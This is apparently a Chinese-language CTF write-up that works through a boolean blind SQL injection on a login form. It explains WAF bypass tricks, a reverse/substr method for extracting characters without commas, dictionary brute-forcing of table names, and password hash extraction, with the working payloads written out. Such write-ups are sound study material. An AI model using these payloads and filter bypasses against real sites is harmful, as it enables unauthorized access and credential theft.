首先这题的知识点:
需要了解mysql的知识点:
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符
和一些基本sql语法
和一些基本注释:#,--空格,/* */
对与这题:
我们得到的是一个登录界面:
发现admin回显密码错误,那么用户名就是admin:
所以,这题我们就只需要知道密码:
先尝试能不能用sql注入进去:
用语句:
admin’or1=1--+
结果它回显非法字符:
然后我们就用sql过滤字典看看过滤的字符有哪些得到:
它过滤了=,空格,+,and,for,where,/**/,等很多字符,
但是我们还能利用剩下的字符来进行注入
这里发现它过滤了空格:
一般绕过空格过滤的方法有以下几种方法来取代空格
/**/,绕过
列:
select/**/*/**/from/**/users;
(),绕过
列:
select(id)from(users);
回车(url编码中的%0a),绕过
列:
mysql> select
-> *
-> from
-> users
-> where
-> id = 1;
`(键按钮),绕过
列:
select`id`from`users`where`id`=1;
这里我利用()
首先,or,#,<>我们是能利用的
于是,我们就利用<>构造语句:
a’
a’or(1<>2)#
a’or(1<>1)#
这里可以看到,
a’
回显错误的用户
a’or(1<>2)#
回显是密码错误,
而:a’or(1<>1)#
回显是错误的用户
这里可以看到它是先判断用户是否存在,在判断密码。
而a’or(1<>2),回显用密码错误,所以判断执行了语句
因为1<>2为真,又是or连接一真一假,所以返回真,密码错误。
而1<>1为假,a 用户不存在为假,用or连接两假所以返回为假,
用户不存在。
所以,这里基本可以判断这是一个布尔的SQL盲注
语句为真值时返回:密码错误
语句为假值时返回:用户不存在
还有一种返回是:非法字符
到这里我们就能利用语句,去测试当前的数据库长度
语句为:
a'or(length(database())>0)#
a'or(length(database())>10)#
得到:
这里可以看到a’or(length(database())>0)#返回密码错误,
而a’or(length(database())>10)#返回用户不存在
所以基本确定当前数据库名长度在0到10之间
这里我就用python写了一个脚本去爆破当前数据库长度:
得到当前数据库长度为8
于是我们在构造语句去爆破当前数据库名
这里就比较难办,我通过思考好久才找到方法去构造到合理语句
爆破库名。
因为这里它过滤了逗号
那么就不能利用字符串截取函数:rght(str, num) ,left(str,num) ,substr(str,N,M)
但是这里我们又想到了字符串截取函数substr不要逗号空格的
另一种用法:substr((str)from()for())
结果问题又来,它把for给过滤,这就导致我们不能截取字符。
这的确是一个让人头疼的问题,但是不要怕
我们发现from还是能用的
我经过测试发现语句substr(str from number)有一个特点:
列:
substr(‘flag’ from 1)--------------->返回:flag
substr(‘flag’ from 2)--------------->返回:lag
substr(‘flag’ from 3)--------------->返回:ag
substr(‘flag’ from 4)--------------->返回:g
from后面的数字表示它从第几位开始取字符
但取单个字符就只能取最后一位
这时我就想到了一个翻转的方法,就是利用字符串翻转函数reverse()
基本思路是:
如果我们用substr()函数从第1位开始截取就会得到全部字符,
但我们在用函数reverse()翻转过来在从最后一位开始取就得
到之前没有翻转的第一个字符;
列:
substr((reverse(substr(‘flag’ form 1))) from 4 )------------->返回:f
substr((reverse(substr(‘flag’ form 2))) from 3 )------------->返回:l
substr((reverse(substr(‘flag’ form 3))) from 2 )------------->返回:a
substr((reverse(substr(‘flag’ form 4))) from 1 )------------->返回:g
这样我们就得到所有的字符啦
细心的同学就会发现截取的长度数字是有规律的
第一次是截取长度是从1增加到字符长度,
第二次是截取长度是从字符长度减小到1。
这样我们就能绕开逗号和for截取长度啦^_^/
接下来就是怎么查询库名,这里我利用的是<>
在这题的环境中如果用<>判断两个字符,
如果不等,判断就为真那么返回的就是密码错误,
如果相等,判断就为假那么返回的就是用户不存在,
这里建议使用ascii码进行比较,因为MYSQL不区分大小写,
‘s’ ='S’是真的
所以我构造报库名的语句是:
a'or(ord(substr(reverse(substr((database())from(1)))from(8)))<>115)#
得到结果:
和我设想的一样,所以基于这个原理自己写一个python
报出当前数据库名得到:
接下就是报表,但是这里就遇见一个头疼的问题:
这里它过滤:information,where,is ,exists,
这就比较难办了,我们就不能访问基本的mysql信息库
但是不要慌,我找到了一些绕过的基本方法:
原理: 被注释的内容会被执行
常用的注释符有(–空格,#,/**/,//):
–空格 注释内容
列:
select * from users -- where id = 666;
#注释内容
列:
select * from users # where id = 999;
/*注释内容*/
列:
select * from users /* where id = 999*/;
//注释内容
列:
select * from users // where id = 999;
用于 waf的正则对大小写不敏感的情况,
waf过滤了关键字select,可以使用Select等绕过。
例:
sEleCt * from users where id = 520 union SeLecT 1,2
内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!..*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
列:
select * from users where id = -1 union /*!select*/ 1,2
在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过。
列:
select * from users where id = -1 union seleselectct 1,2
十六进制绕过
列:
select * from users where username = 'test';
test用十六进制编码
select * from users where username = 0x7465737431;
ascii编码绕过
test 等价于
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
tip:好像新版mysql不能用了
列:
select * from users where text = CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116);
然后我发现这些方法都不行,都不能绕开where和Information
这时又找到了新的绕过information的方法:
这是sys数据库下的一个视图,基础数据来自与information_schema,他的作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名
这是sys数据库下的视图,里面存储着所有数据库所有表的统计信息
与它表结构相似的视图还有
sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io
以下为该视图的常用列(全部列有很多很多)
mysql.innodb_table_stats
mysql.innodb_index_stats
两表均有database_name和table_name字段,可以利用
但是这里气人的是我看一下Mysql的版本为5.1:
所以上面的方法都不行,我实在没有办法了,就弄了表名和字段名
的字典来进行爆破,
但是又出现问题了
它这里过滤了is,*
也就是我不能利用函数exists构造语句来先爆破表名:
a'or(exists(select(*)from(blindsql.test)))
并且另一个爆表语句也不能用:
a'or((blindsql.test)is(null))
因为我技术菜找到什么好的方法绕过就选择了构造了一个计算机工作量非常大的爆破语句:
a'or(length((select(group_concat(flag))from(blindsql.test)))>0)#
这里的字段名,表名都是猜测的都是字典里面的,
用python写个脚本把字典里面
的表和字段的都遍历查询一遍,应该能得到正确的表名和字段
这里就幸苦计算机了,跑了5万次把表名和字段跑出来分别是:admin,pasword
得到了正确的表名和字段,我们就查询字段内容
构造语句:
a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(1)))from(32)))<>115)#
我这里写了一个python脚本爆破得到了:
得到爆破结果,根据字段password信息,这是密码,是用md5加密
过的,于是我就去网上查询结果
这里提供一个md5查询平台:https://cmd5.la/
注册登录即可查询得到:
登录得到flag:
(注:早知道密码这么简单,我直接跑密码爆破了,我还跑了这么久的表名爆破)